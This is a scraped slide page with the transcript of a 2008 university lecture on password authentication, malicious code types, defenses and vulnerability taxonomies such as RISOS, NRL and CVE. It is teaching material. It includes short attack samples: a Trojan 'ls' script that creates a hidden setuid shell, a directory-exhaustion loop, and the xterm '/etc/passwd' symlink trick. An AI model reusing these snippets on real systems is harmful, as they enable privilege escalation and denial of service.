1 IS 2150 / TEL 2810 Introduction to Security James Joshi Associate Professor, SIS Lecture 9 Nov 25, 2008 Authentication, Identity Malicious Code, Vulnerability.

Slides:



Advertisements
Similar presentations
Computer Science CSC 474Dr. Peng Ning1 CSC 474 Information Systems Security Topic 5.1 Malicious Logic.
Advertisements

Dr. Kalpakis CMSC 421, Operating Systems. Fall 2008 URL: Security.
30/04/2015Tim S Roberts COIT13152 Operating Systems T1, 2008 Tim S Roberts.
Courtesy of Professors Chris Clifton & Matt Bishop INFSCI 2935: Introduction of Computer Security1 November 13, 2003 Malicious Code Vulnerability Analysis.
Chapter 3 (Part 1) Network Security
A Taxonomy of Computer Program Security Flaws C. E. Landwehr, A. R. Bull, J. P. McDermott and W.S. Choi -- Presented by: Feng Hui Luo ACM Computing Surveys,
CS526: Information Security Chris Clifton November 25, 2003 Malicious Code.
Malicious Logic What is malicious logic Types of malicious logic Defenses Computer Security: Art and Science © Matt Bishop.
Silberschatz, Galvin and Gagne  Operating System Concepts The Security Problem A system is secure iff its resources are used and accessed as.
19.1 Silberschatz, Galvin and Gagne ©2003 Operating System Concepts with Java Chapter 19: Security The Security Problem Authentication Program Threats.
1 Vulnerability Analysis CSSE 490 Computer Security Mark Ardis, Rose-Hulman Institute April 26, 2004.
________________ CS3235, Nov 2002 Viruses Adapted from Pfleeger[Chap 5]. A virus is a program [fragment] that can pass on malicious code [usually itself]
1 Chapter 11: Authentication Basics Passwords. 2 Establishing Identity Authentication: binding of identity to subject One or more of the following –What.
Security A system is secure if its resources are used and accessed as intended under all circumstances. It is not generally possible to achieve total security.
1 Pertemuan 05 Malicious Software Matakuliah: H0242 / Keamanan Jaringan Tahun: 2006 Versi: 1.
Silberschatz, Galvin and Gagne  Operating System Concepts Module 19: Security The Security Problem Authentication Program Threats System Threats.
Lecture 15 Overview. Kinds of Malicious Codes Virus: a program that attaches copies of itself into other programs. – Propagates and performs some unwanted.
Lesson 9-Securing a Network. Overview Identifying threats to the network security. Planning a secure network.
1 Malicious Logic CSSE 490 Computer Security Mark Ardis, Rose-Hulman Institute March 25, 2004.
Protection and Security CSCI 444/544 Operating Systems Fall 2008.
Henric Johnson1 Chapter 10 Malicious Software Henric Johnson Blekinge Institute of Technology, Sweden
Csci5233 Computer Security1 Bishop: Chapter 12 Authentication.
1 Chap 10 Malicious Software. 2 Viruses and ”Malicious Programs ” Computer “Viruses” and related programs have the ability to replicate themselves on.
Chapter 15: Security (Part 1). The Security Problem Security must consider external environment of the system, and protect the system resources Intruders.
Operating Systems Protection & Security.
Malicious Code Brian E. Brzezicki. Malicious Code (from Chapter 13 and 11)
CS526: Information Security Chris Clifton October 16, 2003 Authentication.
Understanding and Troubleshooting Your PC. Chapter 12: Maintenance and Troubleshooting Fundamentals2 Chapter Objectives  In this chapter, you will learn:
CMSC 414 Computer (and Network) Security Lecture 14 Jonathan Katz.
Lecture 14 Overview. Program Flaws Taxonomy of flaws: – how (genesis) – when (time) – where (location) the flaw was introduced into the system 2 CS 450/650.
1 IS 2150 / TEL 2810 Introduction to Security James Joshi Associate Professor, SIS Lecture 12 Nov 20, 2012 Malicious Code Vulnerability related to String,
1 Higher Computing Topic 8: Supporting Software Updated
1 Chap 10 Virus. 2 Viruses and ”Malicious Programs ” Computer “Viruses” and related programs have the ability to replicate themselves on an ever increasing.
CSCE 522 Lecture 12 Program Security Malicious Code.
Chapter 10 Malicious software. Viruses and ” Malicious Programs Computer “ Viruses ” and related programs have the ability to replicate themselves on.
1 Chapter 11: Authentication Basics Passwords. 2 Establishing Identity Authentication: binding of identity to subject One or more of the following –What.
1 IS 2150 / TEL 2810 Information Security & Privacy James Joshi Associate Professor, SIS Lecture 9 Oct 30, 2013 Authentication, Identity Vulnerability.
Malicious Logic and Defenses. Malicious Logic Trojan Horse – A Trojan horse is a program with an overt (documented or known) effect and covert (undocumented.
1 Network and E-commerce Security Nungky Awang Chandra Fasilkom Mercu Buana University.
Identification Authentication. 2 Authentication Allows an entity (a user or a system) to prove its identity to another entity Typically, the entity whose.
1 IS 2150 / TEL 2810 Introduction to Security James Joshi Assistant Professor, SIS Lecture 12 Nov 29, 2007 Malicious Code, Vulnerability Analysis, Intrusion.
Unix Security Assessing vulnerabilities. Classifying vulnerability types Several models have been proposed to classify vulnerabilities in UNIX-type Oses.
Computer Systems Viruses. Virus A virus is a program which can destroy or cause damage to data stored on a computer. It’s a program that must be run in.
Computer virus Speaker : 蔡尚倫.  Introduction  Infection target  Infection techniques Outline.
1 Assurance, Malicious Code Vulnerability Analysis Nov 30, 2006 Lecture 9 IS 2150 / TEL 2810 Introduction to Security.
Vulnerability Analysis
14.1 Silberschatz, Galvin and Gagne ©2009 Operating System Concepts with Java – 8 th Edition Protection.
Design Principles and Common Security Related Programming Problems
Chapter 23: Vulnerability Analysis Dr. Wayne Summers Department of Computer Science Columbus State University
INTRODUCTION TO COMPUTER & NETWORK SECURITY INSTRUCTOR: DANIA ALOMAR.
CSCE 201 Identification and Authentication Fall 2015.
Chapter 12: Authentication Basics Passwords Challenge-Response Biometrics Location Multiple Methods Computer Security: Art and Science © Matt.
My topic is…………. - It is the fundamental building block and the primary lines of defense in computer security. - It is a basic for access control and.
Chapter 29: Program Security Dr. Wayne Summers Department of Computer Science Columbus State University
Vulnerability Analysis
Chap 20. Vulnerability Analysis
Authentication.
Chap 10 Malicious Software.
Chapter 23: Vulnerability Analysis
VA/PT.
Chapter 22: Malicious Logic
Security.
Chapter 29: Program Security
Chap 10 Malicious Software.
IS 2150 / TEL 2810 Information Security & Privacy
Operating System Concepts
Crisis and Aftermath Morris worm.
Malicious Program and Protection
IS 2150 / TEL 2810 Introduction to Security
Presentation transcript:

1 IS 2150 / TEL 2810 Introduction to Security James Joshi Associate Professor, SIS Lecture 9 Nov 25, 2008 Authentication, Identity Malicious Code, Vulnerability Analysis

2 Objectives Understand/explain the issues related to, and utilize the techniques Authentication and identification Malicious code What and how Vulnerability analysis/classification Techniques Taxonomy

3 Authentication and Identity

4 What is Authentication? Authentication: Binding identity and external entity to subject How do we do it? Entity knows something (secret) Passwords, id numbers Entity has something Badge, smart card Entity is something Biometrics: fingerprints or retinal characteristics Entity is in someplace Source IP, restricted area terminal

5 Authentication System: Definition A: Set of authentication information used by entities to prove their identities (e.g., password) C: Set of complementary information used by system to validate authentication information (e.g., hash of a password or the password itself) F: Set of complementation functions (to generate C) f : A → C Generate appropriate c  C given a  A L: set of authentication functions l: A  C → { true, false } verify identity S: set of selection functions Generate/alter A and C e.g., commands to change password

6 Authentication System: Passwords Example: plaintext passwords A = C = alphabet* f returns argument: f(a) returns a l is string equivalence: l(a, b) is true if a = b Complementation Function Null (return the argument as above) requires that c be protected; i.e. password file needs to be protected One-way hash – function such that Complementary information c = f(a) easy to compute f -1 (c) difficult to compute

7 Passwords Example: Original Unix A password is up to eight characters each character could be one of 127 possible characters; A contains approx. 6.9 x passwords Password is hashed using one of 4096 functions into a 11 character string 2 characters pre-pended to indicate the hash function used C contains passwords of size 13 characters, each character from an alphabet of 64 characters Approximately 3.0 x strings Stored in file /etc/passwd (all can read)

8 Authentication System Goal: identify the entities correctly Approaches to protecting Hide enough information so that one of a, c or f cannot be found Make C readable only to root Make F unknown Prevent access to the authentication functions L root cannot log in over the network

9 Attacks on Passwords Dictionary attack: Trial and error guessing Type 1: attacker knows A, f, c Guess g and compute f(g) for each f in F Type 2: attacker knows A, l l returns True for guess g Counter: Difficulty based on |A|, Time Probability P of breaking in time T G be the number of guesses that can be tested in one time unit |A| ≥ TG/P Assumptions: time constant; all passwords are equally likely

10 Password Selection Random Depends on the quality of random number generator; Size of legal passwords 8 characters: humans can remember only one Pronounceable nonsense Based on unit of sound (phoneme) Easier to remember User selection (proactive selection) Controls on allowable At least 1 digit, 1 letter, 1 punctuation, 1 control character Obscure poem verse

11 Password Selection Reusable Passwords susceptible to dictionary attack (type 1) Salting can be used to increase effort needed makes the choice of complementation function a function of randomly selected data Random data is different for different user Authentication function is chosen on the basis of the salt Many Unix systems: A salt is randomly chosen from Complementation function depends on the salt

12 Password Selection Password aging Change password after some time: based on expected time to guess a password Disallow change to previous n passwords Fundamental problem is reusability Replay attack is easy Solution: Authenticate in such a way that the transmitted password changes each time

13 Authentication Systems: Challenge-Response Pass algorithm authenticator sends message m subject responds with f(m) f is a secret encryption function Example: ask for second input based on some algorithm

14 Authentication Systems: Challenge-Response One-time password: invalidated after use f changes after use S/Key uses a hash function (MD4/MD5) User chooses an initial seed k Key generator calculates k 1 = h(k), k 2 = h(k 1 ) …, k n = h(k n-1 ) Passwords used in the order p 1 = k n, p 2 = k n-1, …, p n =k 1 Suppose p 1 = k n is intercepted; the next password is p 2 = k n-1 Since h(k n-1 ) = k n, the attacker needs to invert h to determine the next password

15 Authentication Systems: Biometrics Used for human subject identification based on physical characteristics that are tough to copy Fingerprint (optical scanning) Camera’s needed (bulky) Voice Speaker-verification (identity) or speaker-recognition (info content) Iris/retina patterns (unique for each person) Laser beaming is intrusive Face recognition Facial features can make this difficult Keystroke interval/timing/pressure

16 Attacks on Biometrics Fake biometrics fingerprint “mask” copy keystroke pattern Fake the interaction between device and system Replay attack Requires careful design of entire authentication system

17 Malicious Code

18 What is Malicious Code? Set of instructions that causes a security policy to be violated unintentional mistake Tricked into doing that? “unwanted” code Generally relies on “legal” operations Authorized user could perform operations without violating policy Malicious code “mimics” authorized user

19 Types of Malicious Code Trojan Horse What is it? Virus What is it? Worm What is it?

20 Trojan Horse Program with an overt (expected) and covert (unexpected) effect Appears normal/expected Covert effect violates security policy User tricked into executing Trojan horse Expects (and sees) overt behavior Covert effect performed with user’s authorization Trojan horse may replicate Create copy on execution Spread to other users/systems

21 Example Perpetrator cat >/homes/victim/ls <<eof cp /bin/sh /tmp/.xxsh chmod u+s,o+x /tmp/.xxsh rm./ls ls $* eof Victim ls What happens? How to replicate this?

22 Virus Self-replicating code A freely propagating Trojan horse some disagree that it is a Trojan horse Inserts itself into another file Alters normal code with “infected” version Operates when infected code executed If spread condition then For target files if not infected then alter to include virus Perform malicious action Execute normal program

23 Virus Types Boot Sector Infectors (The Brain Virus) Problem: How to ensure virus “carrier” executed? Solution: Place in boot sector of disk Run on any boot Propagate by altering boot disk creation Executable infector The Jerusalem Virus, Friday 13 th, not 1987 Multipartite virus : boot sector + executable infector

24 Virus Types/Properties Terminate and Stay Resident Stays active in memory after application complete Allows infection of previously unknown files Stealth (an executable infector) Conceal Infection Encrypted virus Prevents “signature” to detect virus [Deciphering routine, Enciphered virus code, Deciphering Key] Polymorphism Change virus code to something equivalent each time it propagates

25 Virus Types/Properties Macro Virus Composed of a sequence of instructions that is interpreted rather than executed directly Infected “executable” isn’t machine code Relies on something “executed” inside application Example: Melissa virus infected Word 97/98 docs Otherwise similar properties to other viruses Architecture-independent Application-dependent

26 Worms Replicates from one computer to another Self-replicating: No user action required Virus: User performs “normal” action Trojan horse: User tricked into performing action Communicates/spreads using standard protocols

27 Other forms of malicious logic We’ve discussed how they propagate But what do they do? Rabbits/Bacteria Exhaust system resources of some class Denial of service ; e.g., While (1) {mkdir x; chdir x} Logic Bomb Triggers on external event Date, action Performs system-damaging action Often related to event Others?

28 We can’t detect it: Now what? Detection Signature-based antivirus Look for known patterns in malicious code Great business model! Checksum (file integrity, e.g. Tripwire) Maintain record of “good” version of file Validate action against specification Including intermediate results/actions N-version programming: independent programs A fault-tolerance approach (diversity)

29 Detection Proof-carrying code Code includes proof of correctness At execution, verify proof against code If code modified, proof will fail Statistical Methods High/low number of files read/written Unusual amount of data transferred Abnormal usage of CPU time

30 Defense Clear distinction between data and executable Virus must write to program Write only allowed to data Must execute to spread/act Data not allowed to execute Auditable action required to change data to executable

31 Defense Information Flow Control Limits spread of virus Problem: Tracking information flow Least Privilege Programs run with minimal needed privilege

32 Defense Sandbox / Virtual Machine Run in protected area Libraries / system calls replaced with limited privilege set Use Multi-Level Security Mechanisms Place programs at lowest level Don’t allow users to operate at that level Prevents writes by malicious code

33 Vulnerability Analysis

34 Vulnerability Analysis Vulnerability or security flaw: specific failures of security controls (procedures, technology or management) Errors in code Human violators Mismatch between assumptions Exploit: Use of vulnerability to violate policy Attacker: Attempts to exploit the vulnerability

35 Techniques for Detecting Vulnerabilities System Verification Determine preconditions, post-conditions Validate that system ensures post-conditions given preconditions Can prove the absence of vulnerabilities Penetration testing Start with system/environment characteristics Try to find vulnerabilities Can not prove the absence of vulnerabilities

36 Types/layers of Penetration Testing Black Box (External Attacker) External attacker has no knowledge of target system Attacks built on human element – Social Engineering System access provided (External Attacker) Red team provided with limited access to system Goal is to gain normal or elevated access Internal attacker Red team provided with authorized user access Goal is to elevate privilege / violate policy

37 Red Team Approach Flaw Hypothesis Methodology: Information gathering Examine design, environment, system functionality Flaw hypothesis Predict likely vulnerabilities Flaw testing Determine where vulnerabilities exist Flaw generalization Attempt to broaden discovered flaws Flaw elimination (often not included) Suggest means to eliminate flaw Flaw does Not exist Refine with new understanding

38 Problems with Penetration Testing Nonrigorous Dependent on insight (and whim) of testers No good way of evaluating when “complete” How do we make it systematic? Try all classes of likely flaws But what are these? Vulnerability Classification!

39 Vulnerability Classification Goal: describe spectrum of possible flaws Enables design to avoid flaws Improves coverage of penetration testing Helps design/develop intrusion detection How do we classify? By how they are exploited? By where they are found? By the nature of the vulnerability?

40 Example flaw: xterm log xterm runs as root Generates a log file Appends to log file if file exists Problem: ln /etc/passwd log_file Solution if (access(“log_file”, W_OK) == 0) If ((fd = open(“log_file”, O_WRONLY|O_APPEND)) < 0) { -error handling } What can go wrong?

41 Example: Finger Daemon (exploited by Morris worm) finger sends name to fingerd fingerd allocates 512 byte buffer on stack Places name in buffer Retrieves information (local finger) and returns Problem: If name > 512 bytes, overwrites return address Exploit: Put code in “name”, pointer to code in bytes 513+ Overwrites return address

42 RISOS:Research Into Secure Operating Systems (7 Classes) 1. Incomplete parameter validation – E.g., buffer overflow – 2. Inconsistent parameter validation – Different routines with different formats for same data 3. Implicit sharing of privileged / confidential data – OS fails to isolate processes and users 4. Asynchronous validation / inadequate serialization – Race conditions and TOCTTOU flaws 5. Inadequate identification /authentication / authorization – Trojan horse; accounts without passwords 6. Violable prohibition / limit – Improper handling of bounds conditions (e.g., in memory allocation) 7. Exploitable logic error – Incorrect error handling, incorrect resource allocations etc.

43 Protection Analysis Model Classes Pattern-directed protection evaluation Methodology for finding vulnerabilities Applied to several operating systems Discovered previously unknown vulnerabilities Resulted in two-level hierarchy of vulnerability classes Ten classes in all

44 PA flaw classes 1. Improper protection domain initialization and enforcement a. domain: Improper choice of initial protection domain b. exposed representations: Improper isolation of implementation detail (Covert channels) c. consistency of data over time: Improper change d. naming: Improper naming (two objects with same name) e. residuals: Improper deallocation or deletion 2. Improper validation validation of operands, queue management dependencies: 3. Improper synchronization a. interrupted atomic operations: Improper indivisibility b. serialization: Improper sequencing 4. Improper choice of operand or operation critical operator selection errors

45 NRL Taxonomy Three classification schemes How did it enter When was it “created” Where is it Genesis Intentional Malicious TrapdoorTrojan horse NonreplicatingReplicating Logic/time bomb Nonmalicious Covert channel TimingStorage Other

46 NRL Taxonomy (Genesis) Inadvertent Validation error (Incomplete/Inconsistent) Domain error (including object re-use, residuals, and exposed representation errors Serialization/aliasing (including TCTTOU errors) Boundary conditions violation (including resource exhaustion and violable constraint errors) Other exploitable logic error

47 NRL Taxonomy: Time Time of introduction Development Requirement specification design Source codeObject code MaintenanceOperation

48 NRL Taxonomy: Location Location Software Operating System initialization Memory Management Process management / scheduling Device management File Management Identification / Authentication Other / Unknown ApplicationSupport Privileged Utilities Unprivileged Utilities Hardware

49 Aslam’s Model Attempts to classify faults unambiguously Decision procedure to classify faults Coding Faults Synchronization errors Timing window Improper serialization Condition validation errors Bounds not checked Access rights ignored Input not validated Authentication / Identification failure Emergent Faults Configuration errors Wrong install location Wrong configuration information Wrong permissions Environment Faults

50 Common Vulnerabilities and Exposures (cve.mitre.org) Captures specific vulnerabilities Standard name Cross-reference to CERT, etc. Entry has three parts Unique ID Description References NameCVE DescriptionRace condition in xterm allows local users to modify arbitrary files via the logging option. References CERT:CA XF:xterm